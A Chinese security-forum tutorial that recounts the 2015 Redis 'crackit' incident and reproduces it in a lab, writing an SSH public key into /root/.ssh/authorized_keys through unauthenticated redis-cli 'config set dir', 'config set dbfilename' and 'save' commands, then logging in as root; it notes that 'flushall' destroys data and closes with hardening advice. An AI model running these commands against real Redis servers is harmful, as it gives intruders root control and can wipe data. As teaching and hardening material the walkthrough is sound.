这几天国内安全行业里,Redis因配置不当,导致黑客入侵成为热点,小弟学习了一下,和大家分享分享入侵过程。
-----背景---------
一、Redis Crackit入侵事件
2015年11月10日,有网络安全厂商指出国内互联网产生了大量针对Redis数据库服务器的扫描流量,其中有不少Redis服务器的数据库被清空,且/root/.ssh/authorized_keys文件被创建或改写,入侵者可以获取受影响服务器的完全控制权限。
因为受影响的Redis服务器的数据库被清空,但留存有一条键名为crackit的记录,因此这次事件被命名为Redis Crackit入侵事件。
二、SSH公钥登录
OpenSSH支持使用公钥登录远程服务器,其原理十分简单,即首先在Linux下使用ssh-keygen来生成公私钥对,其中公钥存放在远程服务器的$HOME/.ssh/authorized_keys文件中,在登录远程服务器时提供对应的私钥即可。
在Windows下,使用PuTTY的puttygen.exe组件也可以十分方便的生成公私钥对,其中生成的私钥文件可以提供给PuTTY用于登录远程服务器。
三、Redis Windows版本
Redis官方提供的源代码只能在Linux环境下编译,微软开源团队维护了一个可以在Windows下编译的版本,当前的最新版本仅支持64位的Windows操作系统,如果需要32位版本需要自行编译。
不过,微软开源团队对早期版本的Redis提供了32位版本的支持,已经编译好的32位Redis数据库文件可以从
6f4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6y4f1@1!0H3k6h3&6f1k6h3y4Z5i4K6u0r3M7X3g2V1K9i4y4Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3g2$3W2F1x3W2)9J5k6e0k6Q4x3X3f1^5i4K6u0W2P5X3W2H3i4@1f1@1i4@1t1^5i4K6S2n7i4@1f1^5i4@1u0p5i4@1u0p5i4@1f1K6i4K6R3H3i4K6R3J5
四、Redis缺陷分析
Redis服务器的默认配置存在许多安全隐患,包括:
1. 默认绑定到服务器的所有IP地址上,也就是所有能够访问到这台服务器的IP地址都可以连接该Redis数据库(最新版本已经解决了这一问题,默认绑定到127.0.0.1上);
2. 默认不需要密码即可登录,同时默认的登录密码为foobared,懒惰的运维人员会使用这个默认密码;
3. 默认可以使用config命令,该命令可以修改数据库硬盘备份文件所在的路径和名字;
4. 粗心的运维人员会使用root权限来启动redis-server进程;
五、参考资料
如果你想了解更多关于Redis数据库的基础知识,可以学习合天网安实验室提供的《Redis数据库安全实践》系列实验。同时,本实验参考了以下来源于互联网的资料,在此表示感谢。
1. Redis CrackIT入侵事件分析,北京白帽汇科技有限公司,
8f7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4@1j5i4c8A6j5#2)9J5k6h3&6G2M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1k6J5k6h3c8A6M7#2)9#2k6X3y4J5j5h3y4C8K9i4c8Q4y4h3k6$3x3g2)9J5k6e0q4Q4x3X3g2H3k6r3j5`.
2. SSH原理与运用,阮一峰的网络日志,
9b7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0#2j5h3&6&6K9h3k6W2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9I4x3g2)9J5c8U0p5J5i4K6u0r3M7%4y4Z5i4K6g2X3M7X3g2E0L8%4c8W2i4K6g2X3L8r3!0Y4K9h3&6Q4x3X3g2Z5N6r3#2D9
3. 使用 RSA 密钥对进行 SSH 登录验证,TUNA Wiki,
477K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2N6s2g2F1j5g2)9J5k6i4c8K6K9h3&6Y4K9s2g2S2i4K6u0W2k6h3c8#2i4K6u0W2j5$3&6Q4x3V1k6e0M7$3S2w2k6i4W2t1L8%4N6@1L8H3`.`.--------------环境和工具--------------
服务器:CentOS 6.5,IP地址:10.1.1.101
测试机:Windows XP,IP地址随机
辅助工具:PuTTY、PuTTYGen、redis-cli
这里如何环境决定自己难搭建,推荐个地方大家去试试(
dc5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3y4Q4x3X3g2V1L8#2)9K6c8Y4N6Q4x3@1c8W2P5s2m8Q4y4h3k6S2M7%4y4Q4x3U0k6W2j5#2)9K6c8p5g2o6d9f1b7I4y4K6u0Q4x3X3f1I4z5g2)9J5k6e0p5H3y4q4)9J5k6e0p5^5x3U0l9I4y4e0p5I4x3e0x3I4x3o6t1#2y4o6t1H3x3o6l9H3x3b7`.`.)。
----------------入侵过程介绍--------------------------
第一步 生成RSA公私钥对
首先需要生成RSA公私钥对,其中公钥将通过利用Redis数据库的安全脆弱点来上传到目标服务器,私钥将用于登录目标服务器。
进入Windows XP实验机器后,打开puttygen.exe程序(位于C:\Program Files\PuTTY\puttygen.exe),依次选择PuTTY密钥生成器对话框下的“密钥”、“生成密钥对”菜单项,其他参数使用默认设置即可。如下图所示:

点击“生成密钥对”菜单项之后,将会启动密钥生成过程。在生成过程中,需要将鼠标在进度条下方的空白区域不断移动,以便产生随机数据。如下图所示:

待密钥对生成完毕之后,公钥将会显示在界面上方的文本框中。如下图所示:

注意,每次生成的公私钥对都是不一样的,因此实验时以实际生成的密钥对为准。这里的公钥为ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAr50qqSE5UlsGGzJ5v7SFuYrYKTTsg9N/COZLqK5dz69AWXwMBQo+z04seEq+tX806BoKtFA3vJcz5nY10G08v4bnpEWp9y6g4NFxxkrGm55eIdLbFLH87nd2KuxqpHXT4PtR84Lqo4Wq7R9+jTsgsmE/U0ELN8Wyea3iCF94oVM= rsa-key-20151112。随后点击“保存私钥”按钮将对应的私钥保存到文件,在保存过程中将弹出PuTTYgen警告消息框“确定不给该密钥设置密码保护么?”,点击“是(Y)”按钮将私钥保存到桌面的key.ppk文件。
第二步:基于Redis数据库添加SSH公钥
现在我们需要将实验步骤一中生成好的公钥添加到目标服务器的$HOME/.ssh/authorized_keys文件中。
首先,将实验步骤一中生成的公钥保存到C:\Program Files\redis\key.txt中,注意需要在文件的头部和尾部多留几个空行,以便公钥始终可以保持在单独的一行而不会和其他数据混在一行中。对应的操作步骤如下:
1.在C:\Program Files\redis\目录下新建key.txt文件,使用鼠标选中key.txt后单击右键菜单并选择“Edit with Notepad++”,粘贴公钥到文件中,如下图所示:

2.在Notepad++中依次选择菜单项“编辑”、“档案格式转换”、“转换为 UNIX 格式”,将档案的格式转换为UNIX格式,以保证文件中的换行符是\n而不是\r\n。
3.保存key.txt文件并退出Notepad++。
现在打开CMD命令提示符,并依次执行以下命令:
1).cd "C:\Program Files\redis",用于切换工作目录;
2).type key.txt | redis-cli.exe -h 10.1.1.101 -x set crackit,表示在主机10.1.1.101上的redis数据库中插入一条记录,对应的键名为crackit(键名可以是其他字符串,不一定需要写成crackit),键值为key.txt中的内容;
3).redis-cli.exe -h 10.1.1.101,用于连接到主机10.1.1.101上的redis数据库并创建一个交互环境;
4).redis 10.1.1.101:6379> config set dir /root/.ssh/,用于将Redis数据库硬盘备份文件的存放目录修改为/root/.ssh/;
5).redis 10.1.1.101:6379> config set dbfilename authorized_keys,用于将Redis数据硬盘库备份文件的名字修改为authorized_keys;
6).redis 10.1.1.101:6379> save,将Redis数据库在内存中的数据保存到硬盘备份文件中,即转储到/root/.ssh/authorized_keys文件中;
以上操作如下图所示:

至此,我们已经基于Redis完成了将公钥保存到服务器的/root/.ssh/authorized_keys文件中的操作。以上操作在真实场景中可能存在一个问题:服务器上的Redis数据库中可能已经存在大量数据,因此插入crackit键时,在公钥数据之前可能已经存在有大量其他数据,在执行完save操作时,在authorized_keys文件中可能在公钥字符串之前也存在大量数据,因此可能对后续SSH登录服务器时造成干扰。
为了克服这一难题,不少入侵者采取了极端暴力的做法:在向Redis数据库插入公钥字符串之前执行flushall命令,该命令会清空Redis数据库中的数据,以保证接下来插入的公钥字符串位于硬盘备份文件的头部。可以看出,使用flushall会清空目标服务器中Redis数据库的数据,如果没有备份数据的话这可能造成灾难性的损失!
第三步:使用私钥登录远程服务器
在实验步骤一中我们生成了公私钥对,其中私钥保存在Windows XP实验机器桌面上的key.ppk文件中,公钥已经通过Redis上传到远程服务器的/root/.ssh/authorized_keys文件中。
现在,已经可以使用PuTTY来登录远程服务器了。首先,打开C:\Program Files\PuTTY目录下的PuTTY.exe文件,在主界面中填写好服务器的配置信息,即IP地址填写为10.1.1.101,端口号填写为22,如下图所示:

在PuTTY中填写好服务器的IP地址和端口号之后,单击PuTTY主界面左侧树形控件中Connection节点下的Data节点,将Auto-login username的值设置为root,即以用户名root登录,如下图所示

最后,点击左侧树形控件中Connection节点下的SSH节点,以及SSH节点下的Auth节点,在对应的界面中点击Browse按钮选择桌面上的key.ppk文件,如下图所示:

现在,单击Open按钮登录远程服务器,发现可以成功登录!测试一下whoami命令,提示是root账户,如下图所示:

至此,已经成功基于Redis的特性获取到远程服务器的完全控制权限!在这里提供几点Redis加固建议(全部通过修改Redis配置文件redis.conf完成):
1.修改bind参数,将服务器绑定到127.0.0.1上;
2.修改port参数,监听端口改成其他端口号;
3.修改requirepass参数,设置一个复杂的密码;
4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;
5.不要以root用户启动redis-server进程。
[培训]科锐逆向工程师培训第53期2025年7月8日开班!